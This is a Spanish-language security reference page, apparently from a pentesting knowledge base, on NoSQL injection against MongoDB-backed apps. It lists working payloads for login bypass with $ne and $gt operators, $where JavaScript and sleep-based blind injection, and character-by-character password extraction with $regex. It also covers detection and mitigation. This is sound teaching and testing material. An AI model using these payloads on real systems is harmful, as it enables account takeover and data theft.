Saltearse al contenido

Inyección NoSQL

Las bases NoSQL (MongoDB, CouchDB, Redis…) no usan SQL, pero sí son inyectables: si la entrada del usuario llega a la consulta como operadores o como código, el atacante altera la lógica. Lo más común es en MongoDB con apps Node/PHP que pasan objetos JSON del usuario directos a la query.

Bypass de autenticación, extracción de datos (booleana/por tiempo), y en algunos casos ejecución de JavaScript del lado del servidor ($where, mapReduce).

En vez de romper comillas, se inyectan operadores del motor. Si el backend hace db.users.find({user: req.body.user, pass: req.body.pass}) y acepta objetos, el atacante envía operadores en vez de strings.

# Bypass de login (operador en JSON)
{"user":"admin","pass":{"$ne":null}}
{"user":{"$gt":""},"pass":{"$gt":""}}
# En query string (sintaxis PHP/Express)
user[$ne]=null&pass[$ne]=null
# Inyección de JavaScript ($where) - si está habilitado
{"$where":"this.pass.match(/^a/)"} # extracción carácter a carácter
# Booleana / por tiempo (ciega)
{"$where":"sleep(5000)"} # retardo condicional

Confirma por diferencia de respuesta (login OK/KO) o por tiempo cuando es ciega.

Con $regex se saca la contraseña carácter a carácter observando si el login responde OK o KO:

{"user":"admin","pass":{"$regex":"^a"}} # ¿empieza por 'a'? -> OK/KO
{"user":"admin","pass":{"$regex":"^ad"}} # siguiente carácter
{"user":"admin","pass":{"$regex":"^adm"}} # y así hasta reconstruirla

Automatízalo iterando el alfabeto por cada posición (script propio o NoSQLMap). El mismo patrón sirve por tiempo con $where:"sleep(...)" cuando no hay diferencia visible en la respuesta.

NoSQLMap, nosqli, y Burp para inyectar operadores en JSON/parámetros.

ATO (bypass de login), volcado de datos, y RCE del intérprete JS en configuraciones con $where/mapReduce habilitados.

  • Parámetros con operadores ($ne, $gt, $where, $regex) o tipos inesperados (objeto donde se espera string).
  • Consultas con $where/JS; latencias anómalas (ciega por tiempo).

Logs de la BD y de la app, WAF con inspección de JSON.

  1. Validar y castear tipos: esperar string donde debe haber string; rechazar objetos/operadores del usuario.
  2. No pasar objetos del usuario directos a la query; construir la consulta con campos concretos.
  3. Deshabilitar $where/JS del lado servidor si no se usa.
  4. ODM/esquemas (Mongoose) con validación estricta.

Rotar credenciales si hubo volcado, corregir el manejo de tipos, y añadir detección de operadores.

  • Bypass de autenticación por NoSQLi ({"$ne":null}) es un patrón clásico en apps MEAN/MERN mal validadas; frecuente en bug bounty y CTFs.
  • Varios frameworks/parsers han permitido que param[$ne]= llegue a la query.

CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Probado bypass de login con operadores ($ne, $gt).
  • Probada sintaxis en JSON y en query string (param[$ne]).
  • Probado $where/JS si está habilitado (extracción/tiempo).
  • Impacto documentado sin volcar datos reales.